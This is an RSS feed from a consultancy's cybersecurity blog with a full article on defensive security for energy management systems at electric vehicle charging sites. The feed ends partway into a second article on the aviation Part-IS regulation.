<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Deep-dive - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/category/formats-en/deep-dive-en/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/category/formats-en/deep-dive-en/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Thu, 30 Apr 2026 17:06:57 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Deep-dive - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/en/category/formats-en/deep-dive-en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Electric vehicle charging infrastructure: energy performance and new cybersecurity challenges</title>
		<link>https://www.riskinsight-wavestone.com/en/2026/04/electric-mobility-charging-infrastructure-evolution-between-energy-optimization-and-emerging-cybersecurity-challenges/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2026/04/electric-mobility-charging-infrastructure-evolution-between-energy-optimization-and-emerging-cybersecurity-challenges/#respond</comments>
		
		<dc:creator><![CDATA[Madeline Salles]]></dc:creator>
		<pubDate>Wed, 29 Apr 2026 15:56:17 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & Consumer goods]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=29885</guid>

					<description><![CDATA[<p>Electric mobility is experiencing rapid growth in France and across Europe: in January 2026, registrations of fully electric vehicles in France increased by more than 50% compared with January 2025, bringing their market share to nearly one third of total vehicle sales. This trajectory confirms a structural transformation of...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/04/electric-mobility-charging-infrastructure-evolution-between-energy-optimization-and-emerging-cybersecurity-challenges/">Electric vehicle charging infrastructure: energy performance and new cybersecurity challenges</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><b><span data-contrast="auto">Electric mobility is experiencing rapid growth in France and across Europe:</span></b><span data-contrast="auto"> in January 2026, registrations of fully electric vehicles in France increased by more than 50% compared with January 2025, bringing their market share to nearly one third of total vehicle sales. This trajectory confirms a structural transformation of the automotive sector, which appears to be entering a phase of massive electrification, particularly for light-duty vehicles. This momentum is fully aligned with the orientations set out in France’s Multiannual Energy Program (PPE), which translates national ambitions for the energy transition into operational targets. As such, the growth of electric vehicles can no longer</span><b><span data-contrast="auto"> </span></b><span data-contrast="auto">be considered short-term, but rather as a trajectory set to strengthen further.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><b><span data-contrast="auto">This trajectory, however, relies on the availability of a dense, reliable, and properly dimensioned charging network across the entire territory.</span></b><span data-contrast="auto"> Whether for public charging (motorways, public roads, shopping centers) or private charging (homes, businesses), this infrastructure forms the backbone of the electric mobility ecosystem. At the heart of this ecosystem, Charging Point Operators (CPOs) play a structuring role, being responsible for the installation, operation, and maintenance of charging stations.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Cyber risk is now emerging as a major threat to charging infrastructures, in a context where electrical networks are increasingly targeted by cybercriminal groups and state-sponsored actors</span><span data-contrast="auto">1</span><span data-contrast="auto">2</span><span data-contrast="auto">.  For CPOs, this reality is a game changer: mastering cyber risk becomes a prerequisite for service reliability and ecosystem protection. As charging networks expand and grow more complex, </span><b><span data-contrast="auto">cybersecurity challenges become central: data protection, service continuity, securing financial flows, and managing third</span></b>‑<b><span data-contrast="auto">party risks.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">This article is part of a series of three papers exploring three structuring challenges faced by electric mobility stakeholders, with the aim of analyzing their implications from a cybersecurity perspective.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Rethinking charging infrastructure: balancing operational requirements and emerging cyber constraints</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:0}"> </span></h1>
<p><span data-contrast="auto">In the context of strong growth combined with the gradual structuring of the market, </span><b><span data-contrast="auto">CPOs are facing a demanding economic equation</span></b><span data-contrast="auto">. The deployment of charging infrastructures requires significant upfront investments – land acquisition, grid connection, purchase and installation of charging points, supervision, and maintenance – while utilization rates remain heterogeneous across regions and site typologies. Added to this are the volatility of electricity prices, increasing competitive pressure, and the rapid evolution of technological standards, which require regular upgrades.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">As public subsidies tend to be streamlined and investors increasingly expect clearer profitability trajectories, optimizing the economic performance of assets becomes imperative. </span><b><span data-contrast="auto">Maximizing availability rates, fine</span></b>‑<b><span data-contrast="auto">tuning operating costs, improving utilization levels, and diversifying revenue streams are no longer secondary levers, but essential conditions for the long</span></b>‑<b><span data-contrast="auto">term sustainability of CPOs’ business models.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Charging infrastructures, as designed today, illustrated in Figure</span><span data-contrast="auto"> </span><span data-contrast="auto">1, generally rely on static power control managed by a central supervision system, the Charging Point Management System (CPMS). This operating model does not allow, or significantly limits, the CPO’s ability to adapt power distribution in real time to usage patterns and site-specific constraints.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p style="text-align: center;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-29868 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_EN1.png" alt="" width="679" height="262" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_EN1.png 679w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_EN1-437x169.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_EN1-71x27.png 71w" sizes="(max-width: 679px) 100vw, 679px" /></span><em> Figure 1: Architecture of a conventional charging infrastructure </em></p>
<p><span data-contrast="auto">Therefore, several optimization levers can be implemented.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">First, it is possible to enhance the site’s energy flexibility, particularly to support fast charging without having to oversize the grid connection. To achieve this, the deployment of a </span><b><span data-contrast="auto">Battery Energy Storage System (BESS)</span></b><span data-contrast="auto"> proves to be an effective solution: this stationary battery storage acts as a buffer, capable of storing energy when it is available and releasing it during peak demand, thereby improving the site’s stability and resilience.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">The next step consists in integrating local, low</span>‑<span data-contrast="auto">carbon energy production directly at charging sites, making it available for immediate use or storage through the addition of </span><b><span data-contrast="auto">photovoltaic systems</span></b><span data-contrast="auto">. Solar panels, installed on rooftops or canopies, provide this renewable generation layer. Their effectiveness, however, relies on their integration with appropriate control and storage systems, ensuring the environmental coherence of electric mobility.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Finally, to enable the proper integration of these energy production and storage assets at charging sites, a global control system has emerged: the </span><b><span data-contrast="auto">Energy Management System (EMS)</span></b><span data-contrast="auto">. This system supervises and adjusts energy flows on site in real time, aligning them with demand, local constraints, and grid connection agreements. It controls power distribution, anticipates variable charging demand, and maximizes the use of local energy production, thereby transforming a conventional electrical installation into a dynamic and intelligent system.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><b><span data-contrast="auto">Thanks to intelligent energy management via an EMS, battery storage, and the integration of solar generation, this architecture (illustrated in Figure</span></b><b><span data-contrast="auto"> </span></b><b><span data-contrast="auto">2) enables performance optimization while keeping costs under control and thus represents a key step towards the next phase of the energy transition.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><img decoding="async" class="size-full wp-image-29866 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_EN2.png" alt="" width="903" height="583" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_EN2.png 903w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_EN2-296x191.png 296w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_EN2-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_EN2-768x496.png 768w" sizes="(max-width: 903px) 100vw, 903px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">2</span></i><i><span data-contrast="none">: Architecture of a next-generation charging infrastructure</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:360,&quot;335559740&quot;:240}"> </span></p>
<p><span data-contrast="auto">In the remainder of this article, we will focus on </span><b><span data-contrast="auto">three new sources of cybersecurity risk</span></b><span data-contrast="auto"> introduced by the integration of Energy Management Systems (EMS) into CPOs’ charging infrastructures.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h2 aria-level="2"><span data-contrast="none">The EMS: an optimization lever that has become a critical risk point</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">EMS have become a key component of charging infrastructures, enabling CPOs to finely optimize power management and charging strategies. This central role makes EMS a </span><b><span data-contrast="auto">critical point in terms of cybersecurity </span></b><span data-contrast="auto">&#8211; their compromise can result in major operational impacts for a CPO:</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:0}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Unavailability </span></b><span data-contrast="auto">of a part of the charging stations.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><b><span data-contrast="auto">Degradation </span></b><span data-contrast="auto">of energy optimization, resulting in direct financial impacts.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><b><span data-contrast="auto">Load imbalances</span></b><span data-contrast="auto"> that may lead to service limitations or outages at site level.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
</ul>
<p><span data-contrast="auto">Beyond these incident scenarios, the introduction of EMS also fundamentally reshapes the risk landscape to which charging infrastructures are exposed.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h2 aria-level="2"><span data-contrast="none">Increased reliance on third</span>‑<span data-contrast="none">party infrastructures</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">The deployment of EMS solutions is most often based on </span><b><span data-contrast="auto">turnkey offerings</span></b><span data-contrast="auto">, combined with </span><b><span data-contrast="auto">vendor</span></b>‑<b><span data-contrast="auto">operated management platforms hosted in cloud environments</span></b><span data-contrast="auto">. These platforms enable CPOs to centrally manage their entire EMS fleet and support a range of use cases, including optimization of available power, performance monitoring, and remote control of charging strategies.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:0}"> </span></p>
<p><b><span data-contrast="auto">This architecture, however, introduces a direct dependency on third</span></b>‑<b><span data-contrast="auto">party infrastructures that lie outside the CPO’s perimeter of control. As a result, it expands the attack surface and increases CPOs’ exposure to supply</span></b>‑<b><span data-contrast="auto">chain</span></b>‑<b><span data-contrast="auto">related risks.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:0}"> </span></p>
<p><span data-contrast="auto">This issue is further compounded by the fact that these vendors are often small, highly specialized players whose level of cybersecurity maturity can be heterogeneous. A compromise of these platforms may therefore lead to widespread impacts, potentially resulting in the unavailability of a significant share of the EMS fleet operated by a CPO and, by extension, a risk of charging station outages.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:0}"> </span></p>
<p><span data-contrast="auto">In addition, the compromise of EMS cloud platforms may also lead to breaches of data confidentiality, as it could enable an attacker to collect sensitive operational information, which could notably be exploited for espionage purposes, including:</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Detailed mapping of charging sites and deployed energy assets.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559740&quot;:278,&quot;335559991&quot;:357}"> </span></li>
<li><span data-contrast="auto">Energy management strategies, revealing the optimization logics implemented by the CPO.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559740&quot;:278,&quot;335559991&quot;:357}"> </span></li>
<li><span data-contrast="auto">Consumption and power data across the CPO’s entire portfolio of sites.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559740&quot;:278,&quot;335559991&quot;:357}"> </span></li>
</ul>
<h2 aria-level="2"><span data-contrast="none">Local communications relying on weakly secured protocols</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><b><span data-contrast="auto">These new architectures also extend the attack surface at the local network level, particularly through communications with energy-related equipment, which still largely rely on weakly secured industrial protocols.</span></b><span data-contrast="auto"> </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Unlike exchanges between supervision systems (CPMS) and charging stations, which benefit from the standardization provided by OCPP, communications between the EMS and other components (BESS, charging points, etc.) still predominantly rely on Modbus.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Originally designed for closed industrial environments, this protocol does not natively implement security mechanisms such as authentication or encryption. In practice, each EMS vendor deploys its own protective measures, resulting in heterogeneous security levels. For CPOs, this diversity complicates the securing of the fleet and may introduce new exploitable weak points within the local network.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Levers to secure next</span>‑<span data-contrast="none">generation charging infrastructure</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:0}"> </span></h1>
<p><span data-contrast="auto">Securing next</span>‑<span data-contrast="auto">generation charging infrastructures relies on a structured approach that makes it possible to reconcile operational performance with effective cybersecurity risk management.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p aria-level="2"><span data-contrast="none">Ensuring the resilience of charging architecture</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></p>
<p><span data-contrast="auto">The evolution of charging infrastructures introduces a single point of failure for CPOs: the EMS. To address this risk, it is necessary to design resilient architectures capable of maintaining continuity even in the event of an EMS failure. This can notably be achieved through:</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><span data-contrast="auto">The implementation </span><b><span data-contrast="auto">of monitoring and alerting mechanisms</span></b><span data-contrast="auto">, enabling rapid detection of EMS failures and activation of fallback mechanisms.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><span data-contrast="auto">The deployment of </span><b><span data-contrast="auto">degraded operating modes</span></b><span data-contrast="auto">, allowing charging stations to continue operating even in the event of EMS unavailability.</span><span data-ccp-props="{&quot;201341983&quot;:2,&quot;335559739&quot;:120,&quot;335559740&quot;:300}"> </span></li>
<li><span data-contrast="auto">The definition of business continuity and disaster recovery strategies that explicitly include EMS failure scenarios.</span><span data-ccp-props="{&quot;201341983&quot;:2,&quot;335559739&quot;:120,&quot;335559740&quot;:300}"> </span></li>
</ul>
<h2 aria-level="2"><span data-contrast="none">Securing dependencies on unmanaged third</span><span data-contrast="none">&#8211;</span><span data-contrast="none">party infrastructures</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">The evolution of charging infrastructure architectures requires CPOs to address both supply</span>‑<span data-contrast="auto">chain</span>‑<span data-contrast="auto">related risks and risks inherent to the interconnection between the CPMS and EMS vendors’ cloud infrastructures.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">To reduce supply</span>‑<span data-contrast="auto">chain risks, CPOs must implement robust vendor qualification processes, including in particular:</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><span data-contrast="auto">Assessment of the vendor’s </span><b><span data-contrast="auto">cybersecurity maturity level.</span></b><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><span data-contrast="auto">Evaluation of product security, notably through </span><b><span data-contrast="auto">penetration testing</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><span data-contrast="auto">Contractual governance of supplier relationships, including, where appropriate, the implementation of </span><b><span data-contrast="auto">Security Assurance Plans (SAPs)</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
</ul>
<p><span data-contrast="auto">Beyond supply</span>‑<span data-contrast="auto">chain risk management, CPOs must also account for the risks introduced by the interconnection of their infrastructure with EMS vendors’ environments (EMS cloud). Securing these interconnections requires a strong control of data flows between the CPO infrastructure and these external environments. This can be achieved through three main levers:</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><span data-contrast="auto">Implementing </span><b><span data-contrast="auto">traffic filtering and control mechanisms</span></b><span data-contrast="auto"> between the local charging infrastructure network and external networks, to restrict communications strictly to legitimate third</span>‑<span data-contrast="auto">party infrastructures.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><span data-contrast="auto">Formalizing </span><b><span data-contrast="auto">secure architectural standards</span></b><span data-contrast="auto"> and ensuring their effective implementation during EMS deployment in the field, guaranteeing a consistent application of cybersecurity best practices.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><span data-contrast="auto">Implementing </span><b><span data-contrast="auto">isolation mechanisms</span></b><span data-contrast="auto"> to contain potential EMS cloud failures and prevent their propagation across the entire charging infrastructure fleet.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
</ul>
<h2 aria-level="2"><span data-contrast="none">Securing communications relying on industrial protocols</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">Communications between EMS and energy</span>‑<span data-contrast="auto">related equipment, particularly BESS, still largely rely on industrial protocols such as Modbus, which do not provide native security mechanisms. In this context, securing these exchanges cannot rely on the protocols themselves, but must instead be addressed at the infrastructure architecture level.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">This notably involves:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559740&quot;:276}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Implementing strict network segmentation within the local network</span></b><span data-contrast="auto">, isolating EMS, BESS, and other components to limit exposure surfaces.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:276,&quot;335559991&quot;:357}"> </span></li>
<li><b><span data-contrast="auto">Applying fine</span></b>‑<b><span data-contrast="auto">grained control over communications</span></b><span data-contrast="auto"> by locally restricting data flows to strictly necessary exchanges (filtering, whitelisting, limitation of authorized commands).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:276,&quot;335559991&quot;:357}"> </span></li>
<li><b><span data-contrast="auto">Deploying communication monitoring mechanisms</span></b><span data-contrast="auto"> to detect abnormal or unauthorized behavior.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:714,&quot;335559739&quot;:120,&quot;335559740&quot;:276,&quot;335559991&quot;:357}"> </span></li>
</ul>
<h2 aria-level="2"><span data-contrast="none">Establishing a structured cybersecurity governance</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">To address the diversity of components and infrastructures operated across their charging networks, it is essential for CPOs to structure their environment around clear governance, including in particular:</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Clarification of</span></b><span data-contrast="auto"> </span><b><span data-contrast="auto">cyber roles and responsibilities</span></b><span data-contrast="auto"> across the entire value chain (CPOs, suppliers, service providers, etc.).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
<li><span data-contrast="auto">Definition of security standards applicable to all projects and suppliers, ensuring overall architectural consistency</span><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:240,&quot;335559740&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">By combining rigorous supplier risk management, a solid governance framework, and strict control of data flows, CPOs can fully leverage the operational gains offered by EMS while securing their infrastructure in a sustainable manner.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:240}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Optimizing without compromising: the challenge of charging infrastructure</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:0}"> </span></h1>
<p><span data-contrast="auto">To conclude, the rise of Energy Management Systems (EMS) is profoundly transforming charging infrastructures, providing essential optimization levers while also introducing new cybersecurity risks. For CPOs, the challenge is no longer limited to deploying these solutions but extends to securing them within a comprehensive approach that encompasses supplier risk management, the definition of secure architectures, and the establishment of structured cybersecurity governance. In this context, </span><b><span data-contrast="auto">cybersecurity is now emerging as a prerequisite for the sustainable performance of charging infrastructures.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/04/electric-mobility-charging-infrastructure-evolution-between-energy-optimization-and-emerging-cybersecurity-challenges/">Electric vehicle charging infrastructure: energy performance and new cybersecurity challenges</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2026/04/electric-mobility-charging-infrastructure-evolution-between-energy-optimization-and-emerging-cybersecurity-challenges/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Part-IS in 2026: from regulatory framework to operational reality</title>
		<link>https://www.riskinsight-wavestone.com/en/2026/04/part-is-in-2026-from-regulatory-framework-to-operational-reality/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2026/04/part-is-in-2026-from-regulatory-framework-to-operational-reality/#respond</comments>
		
		<dc:creator><![CDATA[Loïc Lebain]]></dc:creator>
		<pubDate>Thu, 23 Apr 2026 16:20:32 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<category><![CDATA[règlementation]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=29850</guid>

					<description><![CDATA[<p>Following an initial phase focused on understanding the scope and framework of Part-IS and on drafting Information Security Management Systems (ISMS), the aviation sector has entered a new phase. In 2026, Part-IS is no longer a theoretical or purely documentary topic — it has...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/04/part-is-in-2026-from-regulatory-framework-to-operational-reality/">Part-IS in 2026: from regulatory framework to operational reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;"><span data-contrast="none">Following an initial phase focused </span><a href="https://www.riskinsight-wavestone.com/en/2025/01/part-is-a-pillar-of-cybersecurity-in-european-aviation/"><span data-contrast="none">on understanding the scope and framework of Part-IS</span></a><span data-contrast="none"> and on drafting Information Security Management Systems (ISMS), the aviation sector has entered a new phase. In 2026, Part-IS is no longer a theoretical or purely documentary topic — it has become a matter of operational deployment, with clear expectations from authorities and regulatory adjustments designed to facilitate its implementation.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<h1 style="text-align: justify;">Where does the sector stand? </h1>
<p style="text-align: justify;"><img decoding="async" class="size-full wp-image-29842 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseEN.png" alt="" width="1280" height="324" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseEN.png 1280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseEN-437x111.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseEN-71x18.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseEN-768x194.png 768w" sizes="(max-width: 1280px) 100vw, 1280px" /></p>
<p style="text-align: justify;"><span data-contrast="none">The rise of Part-IS has been gradual. After the progressive entry into force of the texts in 2022 and 2023, 2025 was marked by the preparation of compliance files and the structuring of ISMS</span><span data-contrast="none">.</span></p>
<p style="text-align: justify;"><span data-contrast="none">Since 22 February 2026, the implementing regulation has been fully applicable, meaning that new scopes are now covered — in particular, maintenance and repair activities through Part-145. </span><span data-contrast="none">Part-IS now applies across the entire operational chain, from design through to operations and support.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
